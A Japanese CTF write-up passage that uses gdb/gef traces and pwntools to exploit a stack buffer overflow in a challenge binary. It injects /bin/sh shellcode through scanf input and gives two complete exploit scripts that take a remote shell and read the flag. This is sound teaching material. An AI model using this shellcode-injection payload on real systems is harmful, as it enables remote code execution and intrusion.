0x00007fffffffdf20│+0x0000: 0x00007fffffffdf88  →  0x00007fffffffe058  →  0x00007fffffffe375  →  "/mnt/hgfs/vm_share/shellcode/shellcode"    ← $rsp, $rsi
0x00007fffffffdf28│+0x0008: 0x0000000000000001
0x00007fffffffdf30│+0x0010: 0x00007fffffffe058  →  0x00007fffffffe375  →  "/mnt/hgfs/vm_share/shellcode/shellcode"
0x00007fffffffdf38│+0x0018: 0x0000555555555245  →  <__libc_csu_init+69> add rbx, 0x1
0x00007fffffffdf40│+0x0020: 0x00007ffff7de3b40  →  <_dl_fini+0> push rbp
0x00007fffffffdf48│+0x0028: 0x0000000000000000
0x00007fffffffdf50│+0x0030: 0x0000555555555200  →  <__libc_csu_init+0> push r15
0x00007fffffffdf58│+0x0038: 0x0000555555555080  →  <_start+0> xor ebp, ebp
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555551cf <main+106>       mov    rsi, rax
   0x5555555551d2 <main+109>       lea    rdi, [rip+0xe69]        # 0x555555556042
   0x5555555551d9 <main+116>       mov    eax, 0x0
 → 0x5555555551de <main+121>       call   0x555555555060 <__isoc99_scanf@plt>
   ↳  0x555555555060 <__isoc99_scanf@plt+0> jmp    QWORD PTR [rip+0x2fca]        # 0x555555558030
      0x555555555066 <__isoc99_scanf@plt+6> push   0x3
      0x55555555506b <__isoc99_scanf@plt+11> jmp    0x555555555020
      0x555555555070 <__cxa_finalize@plt+0> jmp    QWORD PTR [rip+0x2f82]        # 0x555555557ff8
      0x555555555076 <__cxa_finalize@plt+6> xchg   ax, ax
      0x555555555078                  add    BYTE PTR [rax], al
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
__isoc99_scanf@plt (
   $rdi = 0x0000555555556042 → 0x1b01005d0a5e5b25 ("%[^\n]"?),
   $rsi = 0x00007fffffffdf20 → 0x00007fffffffdf88 → 0x00007fffffffe058 → 0x00007fffffffe375 
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shellcode", stopped 0x5555555551de in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555551de → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x00005555555551de in main ()

1問目でも言いましたが、arguments(guessed)の部分を見ると、scanfはRDIの規則にのっとってRSIに文字列を格納するので、アドレス0x00007fffffffdf20が格納先になります。

なお、このアドレスがtargetとして表示されるものです。

では、短い入力("AAAA")を入れてmain関数終了直前まで続行します。

gef➤  c
Continuing.
AAAA
AAAA

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x00007ffff7af2224  →  0x5477fffff0003d48 ("H="?)
$rdx   : 0x00007ffff7dcf8c0  →  0x0000000000000000
$rsp   : 0x00007fffffffdf78  →  0x00007ffff7a03bf7  →  <__libc_start_main+231> mov edi, eax
$rbp   : 0x0000555555555200  →  <__libc_csu_init+0> push r15
$rsi   : 0x00007ffff7dce7e3  →  0xdcf8c0000000000a
$rdi   : 0x1               
$rip   : 0x00005555555551f5  →  <main+144> ret 
$r8    : 0x4               
$r9    : 0x0               
$r10   : 0x0               
$r11   : 0x246             
$r12   : 0x0000555555555080  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe050  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf78│+0x0000: 0x00007ffff7a03bf7  →  <__libc_start_main+231> mov edi, eax    ← $rsp
0x00007fffffffdf80│+0x0008: 0x0000002000000000
0x00007fffffffdf88│+0x0010: 0x00007fffffffe058  →  0x00007fffffffe375  →  "/mnt/hgfs/vm_share/shellcode/shellcode"
0x00007fffffffdf90│+0x0018: 0x0000000100000000
0x00007fffffffdf98│+0x0020: 0x0000555555555165  →  <main+0> push rbp
0x00007fffffffdfa0│+0x0028: 0x0000000000000000
0x00007fffffffdfa8│+0x0030: 0xd84c5aabf0087130
0x00007fffffffdfb0│+0x0038: 0x0000555555555080  →  <_start+0> xor ebp, ebp
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555551ea <main+133>       call   0x555555555030 <puts@plt>
   0x5555555551ef <main+138>       mov    eax, 0x0
   0x5555555551f4 <main+143>       leave  
 → 0x5555555551f5 <main+144>       ret    
   ↳  0x7ffff7a03bf7 <__libc_start_main+231> mov    edi, eax
      0x7ffff7a03bf9 <__libc_start_main+233> call   0x7ffff7a25240 <__GI_exit>
      0x7ffff7a03bfe <__libc_start_main+238> mov    rax, QWORD PTR [rip+0x3ceda3]        # 0x7ffff7dd29a8 <__libc_pthread_functions+392>
      0x7ffff7a03c05 <__libc_start_main+245> ror    rax, 0x11
      0x7ffff7a03c09 <__libc_start_main+249> xor    rax, QWORD PTR fs:0x30
      0x7ffff7a03c12 <__libc_start_main+258> call   rax
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shellcode", stopped 0x5555555551f5 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555551f5 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 2, 0x00005555555551f5 in main ()

ここで注目すべきはcode:x86:64の部分で、これは「main関数が終わったら次は__libc_start_main+231の内容を実行するよ」ということを意味しています。

この情報は上のstackの部分の1行目0x00007fffffffdf78から引っ張ってきます(これがret命令の挙動です)。

なので、ret命令は「stackの先頭0x00007fffffffdf78に格納されているアドレスにジャンプして、その中身を実行するよ」ということになります5

では、今度は長い入力をいれてみます。

「再度最初から走らせるためr → 1個目のブレークポイント(scanf直前)で止まるのでcで続行 → 標準入力に"a"を100個入力」とします。

gef➤  r

(出力省略)

gef➤  c
Continuing.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x00007ffff7af2224  →  0x5477fffff0003d48 ("H="?)
$rdx   : 0x00007ffff7dcf8c0  →  0x0000000000000000
$rsp   : 0x00007fffffffdf78  →  "aaaaaaaaaaaa"
$rbp   : 0x6161616161616161 ("aaaaaaaa"?)
$rsi   : 0x00007ffff7dce7e3  →  0xdcf8c0000000000a
$rdi   : 0x1               
$rip   : 0x00005555555551f5  →  <main+144> ret 
$r8    : 0x64              
$r9    : 0x0               
$r10   : 0x0               
$r11   : 0x246             
$r12   : 0x0000555555555080  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe050  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf78│+0x0000: "aaaaaaaaaaaa"     ← $rsp
0x00007fffffffdf80│+0x0008: 0x0000000061616161 ("aaaa"?)
0x00007fffffffdf88│+0x0010: 0x00007fffffffe058  →  0x00007fffffffe375  →  "/mnt/hgfs/vm_share/shellcode/shellcode"
0x00007fffffffdf90│+0x0018: 0x0000000100000000
0x00007fffffffdf98│+0x0020: 0x0000555555555165  →  <main+0> push rbp
0x00007fffffffdfa0│+0x0028: 0x0000000000000000
0x00007fffffffdfa8│+0x0030: 0x2234441e2d4d2060
0x00007fffffffdfb0│+0x0038: 0x0000555555555080  →  <_start+0> xor ebp, ebp
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555551ea <main+133>       call   0x555555555030 <puts@plt>
   0x5555555551ef <main+138>       mov    eax, 0x0
   0x5555555551f4 <main+143>       leave  
 → 0x5555555551f5 <main+144>       ret    
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shellcode", stopped 0x5555555551f5 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555551f5 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 2, 0x00005555555551f5 in main ()

またmain終了直前で止まりましたが、今度はcode:x86:64[!] Cannot disassemble from $PCが表示されています。

それもそのはずで、先ほど説明したret命令に従うと、次に実行すべきはstackの先頭アドレス0x00007fffffffdf78に格納されているアドレス0x6161616161616161(="aaaaaaaa")の中身になります。

こんなところには普通命令が入っていない(場合によってはアクセスできない)のでエラー終了となります。

いわゆるBuffer Overflowというやつです。

ここまでをまとめると、targetのアドレス0x00007fffffffdf20にscanfの結果が格納される。ただしstackの先頭0x00007fffffffdf78以降を書き換えるほど長い入力(89文字以上)だとSegmentation Fault です。

シェルコード

では何をすればいいでしょうか?

タイトルにもある通り、ここでは89文字目以降に/bin/shを起動するシェルコードを注入してリモートサーバを乗っ取ろうと思います。

pwntoolsに64ビットELF用のシェルコードがあるのでそれを利用します。

ちなみにシェルコードと、それに対応する命令はこちら。内容は理解不要です。

#!/usr/bin/python3
from pwn import *

# デフォルトはi386(32ビット)用のシェルコード表示になるので、amd64(64ビット)用に変更
context.arch = 'amd64'

shellcode = asm(shellcraft.amd64.linux.sh())
print(shellcode)
# b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
print(disasm(shellcode))
#   0:   6a 68                   push   0x68
#   2:   48 b8 2f 62 69 6e 2f    movabs rax, 0x732f2f2f6e69622f
#   9:   2f 2f 73 
#   c:   50                      push   rax
#   d:   48 89 e7                mov    rdi, rsp
#  10:   68 72 69 01 01          push   0x1016972
#  15:   81 34 24 01 01 01 01    xor    DWORD PTR [rsp], 0x1010101
#  1c:   31 f6                   xor    esi, esi
#  1e:   56                      push   rsi
#  1f:   6a 08                   push   0x8
#  21:   5e                      pop    rsi
#  22:   48 01 e6                add    rsi, rsp
#  25:   56                      push   rsi
#  26:   48 89 e6                mov    rsi, rsp
#  29:   31 d2                   xor    edx, edx
#  2b:   6a 3b                   push   0x3b
#  2d:   58                      pop    rax
#  2e:   0f 05                   syscall

シェルコード部分の前半がASCIIで表示できるものが多いですが、ASCIIで表さない場合、\x6a\x68\x48\xb8\x2f\x62\x69\x6e...のようになっています。

さて、乗っ取りのイメージとしては、先ほど短い文字列を入力した時のstackの状態

0x00007fffffffdf78│+0x0000: 0x00007ffff7a03bf7  →  <__libc_start_main+231> mov edi, eax     ← $rsp
0x00007fffffffdf80│+0x0008: 0x0000002000000000
0x00007fffffffdf88│+0x0010: 0x00007fffffffe058  →  0x00007fffffffe375  
0x00007fffffffdf90│+0x0018: 0x0000000100000000
0x00007fffffffdf98│+0x0020: 0x0000555555555165  →  <main+0> push rbp
...

だと、従来の挙動である「アドレス0x00007ffff7a03bf7にジャンプ→__libc_start_main+231を実行」という流れでした。これを

0x00007fffffffdf78│+0x0000: 0x00007fffffffdf80  →  0x6e69622fb848686a     ← $rsp
0x00007fffffffdf80│+0x0008: 0x6e69622fb848686a    (シェルコード部分)
...

と書き換えて、「アドレス0x00007fffffffdf80にジャンプ→そのアドレスの中身であるシェルコード\x6a\x68\x48\xb8\x2f\x62\x69\x6e...を実行」という流れになっていればOKになります。

このアドレス0x00007fffffffdf80がtargetのアドレス+0x60であるに注意して、payloadとしては「"A"*88 + (targetのアドレス + 0x60) + シェルコード」となります。

gdbで確認

上のシェルコードには非ASCIIが含まれているので、まずはgdb上のscanfで非ASCIIの標準入力ができるようにgdb_inputファイル作成。

#!/usr/bin/python3
from pwn import *

context.arch = 'amd64'

target_addr = 0x7fffffffdf20
shellcode_addr = target_addr + 0x60
shellcode = asm(shellcraft.amd64.linux.sh())
payload = b'A'*88 + shellcode_addr.to_bytes(8, 'little') + shellcode

with open('./gdb_input', 'wb') as f:
    f.write(payload)

それではgdb起動。いつもと違うのは、rで最初の実行をする際にgdb_inputをリダイレクトします。

これでscanf呼び出し時にgdb_inputの内容が読み込まれます。

main関数の最後にブレークポイントを張っておきます。場所がわからなくなったらdisas mainで確認しましょう。

$ gdb -q ./shellcode
gef➤  b *main+144
Breakpoint 1 at 0x11f5

gef➤  r < gdb_input 

       |
target | [0x7fffffffdf20]
       |
Well. Ready for the shellcode?
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����

[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x0               
$rcx   : 0x00007ffff7af2224  →  0x5477fffff0003d48 ("H="?)
$rdx   : 0x00007ffff7dcf8c0  →  0x0000000000000000
$rsp   : 0x00007fffffffdf78  →  0x00007fffffffdf80  →  0x6e69622fb848686a
$rbp   : 0x4141414141414141 ("AAAAAAAA"?)
$rsi   : 0x00007ffff7dce7e3  →  0xdcf8c0000000000a
$rdi   : 0x1               
$rip   : 0x00005555555551f5  →  <main+144> ret 
$r8    : 0x5e              
$r9    : 0x0               
$r10   : 0x0               
$r11   : 0x246             
$r12   : 0x0000555555555080  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe050  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdf78│+0x0000: 0x00007fffffffdf80  →  0x6e69622fb848686a    ← $rsp
0x00007fffffffdf80│+0x0008: 0x6e69622fb848686a
0x00007fffffffdf88│+0x0010: 0xe7894850732f2f2f
0x00007fffffffdf90│+0x0018: 0x2434810101697268
0x00007fffffffdf98│+0x0020: 0x6a56f63101010101
0x00007fffffffdfa0│+0x0028: 0x894856e601485e08
0x00007fffffffdfa8│+0x0030: 0x050f583b6ad231e6
0x00007fffffffdfb0│+0x0038: 0x0000555555555000  →  <_init+0> sub rsp, 0x8
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x5555555551ea <main+133>       call   0x555555555030 <puts@plt>
   0x5555555551ef <main+138>       mov    eax, 0x0
   0x5555555551f4 <main+143>       leave  
 → 0x5555555551f5 <main+144>       ret    
   ↳  0x7fffffffdf80                  push   0x68
      0x7fffffffdf82                  movabs rax, 0x732f2f2f6e69622f
      0x7fffffffdf8c                  push   rax
      0x7fffffffdf8d                  mov    rdi, rsp
      0x7fffffffdf90                  push   0x1016972
      0x7fffffffdf95                  xor    DWORD PTR [rsp], 0x1010101
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "shellcode", stopped 0x5555555551f5 in main (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x5555555551f5 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x00005555555551f5 in main ()

"a"を100回入力した時にcode:x86:64で発生していた[!] Cannot disassemble from $PCもないですし、stackの部分にシェルコードを埋め込めたことになります。

(なお、このままコマンドcで最後まで動かしてもgdb上なのでシェルは立ち上がりません)

エクスプロイトコード

先にも書きましたが、payload自体は「"A"*88 + (targetのアドレス + 0x60) + シェルコード」となります。

gdbデバッグしている際はtargetのアドレスが0x00007fffffffdf20で固定でしたが、リモートサーバ上ではアドレスは毎回変わります。

なのでこちらも2問目と同じようにpwntoolsで抜き出してしまいましょう。exploit.pyは以下のようになります。

#!/usr/bin/python3
from pwn import *

context.arch = 'amd64'

conn = remote('10.1.1.10', 13050)

# targetアドレス直前までの出力取得
conn.recvuntil(b'[')

# targetアドレス
target_addr = int(conn.recvuntil(b']')[:-1].decode(), 16)

shellcode_addr = target_addr + 0x60
shellcode = asm(shellcraft.amd64.linux.sh())
payload = b'A'*88 + shellcode_addr.to_bytes(8, 'little') + shellcode

conn.recvuntil(b'> ')
conn.sendline(payload)

# リモートサーバのシェル取得
conn.interactive()

これを実行するとこんな感じ。あとはflagのある位置(だいたいhome/userあたりが多い)を探しましょう。

$ python3 ./exploit.py 

[+] Opening connection to 10.1.1.10 on port 13050: Done
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x87\x15\x7f

$ whoami
user

$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

$ cd /home

$ ls
user

$ cd user

$ ls
flag
shellcode

$ cat flag
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}

別解

この解法だと、scanfで格納される0x00007fffffffdf20以降のアドレスは以下のように使われています。

gef➤  tel 0x00007fffffffdf20 15
0x00007fffffffdf20│+0x0000: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffdf28│+0x0008: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffdf30│+0x0010: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffdf38│+0x0018: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffdf40│+0x0020: "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
0x00007fffffffdf48│+0x0028: 0x4141414141414141
0x00007fffffffdf50│+0x0030: 0x4141414141414141
0x00007fffffffdf58│+0x0038: 0x4141414141414141
0x00007fffffffdf60│+0x0040: 0x4141414141414141
0x00007fffffffdf68│+0x0048: 0x4141414141414141
0x00007fffffffdf70│+0x0050: 0x4141414141414141
0x00007fffffffdf78│+0x0058: 0x00007fffffffdf80  →  0x6e69622fb848686a    (ジャンプ先として指定するアドレスはここの直後)
0x00007fffffffdf80│+0x0060: 0x6e69622fb848686a   (ここからシェルコード)
0x00007fffffffdf88│+0x0068: 0xe7894850732f2f2f
0x00007fffffffdf90│+0x0070: 0x2434810101697268
...

では、こうアドレスを使っても解けるのでは?

0x00007fffffffdf20│+0x0000: 0x6e69622fb848686a    (ここにシェルコード)
0x00007fffffffdf28│+0x0008: 0xe7894850732f2f2f
0x00007fffffffdf30│+0x0010: 0x2434810101697268
0x00007fffffffdf38│+0x0018: 0x6a56f63101010101
0x00007fffffffdf40│+0x0020: 0x894856e601485e08
0x00007fffffffdf48│+0x0028: 0x050f583b6ad231e6
0x00007fffffffdf50│+0x0030: 0x0000000000000000
0x00007fffffffdf58│+0x0038: 0x0000000000000000
0x00007fffffffdf60│+0x0040: 0x0000000000000000
0x00007fffffffdf68│+0x0048: 0x0000000000000000
0x00007fffffffdf70│+0x0050: 0x0000000000000000
0x00007fffffffdf78│+0x0058: 0x00007fffffffdf20  →  0x6e69622fb848686a    (ジャンプ先として指定するアドレスは`target`そのもの)

もちろん解けます。この場合のソルバは以下のようになります。

#!/usr/bin/python3
from pwn import *
  
context.arch = 'amd64'

conn = remote('10.1.1.10', 13050)

conn.recvuntil(b'[')
target_addr = int(conn.recvuntil(b']')[:-1].decode(), 16)
shellcode = asm(shellcraft.amd64.linux.sh())

# シェルコードが88バイト未満なのでゼロでパディング
payload = shellcode + b'\x00' * (88-len(shellcode)) + target_addr.to_bytes(8, 'little')

conn.recvuntil(b'> ')
conn.sendline(payload)
conn.interactive()

  1. gdb-pedaは似たような表示があった気がしますが、gdb単体では存在しなかったと記憶しています。

  2. ここでのRSIは全く違うものになっているのでtel $rsiは無意味です。アドレスを直接しましょう。

  3. Windows環境のサーバだとうまく表示されない可能性あり

  4. 64ビットコンパイルだと一致しませんので明示的に32ビット版としました。

  5. popなどには言及していないので厳密には不正確な説明です。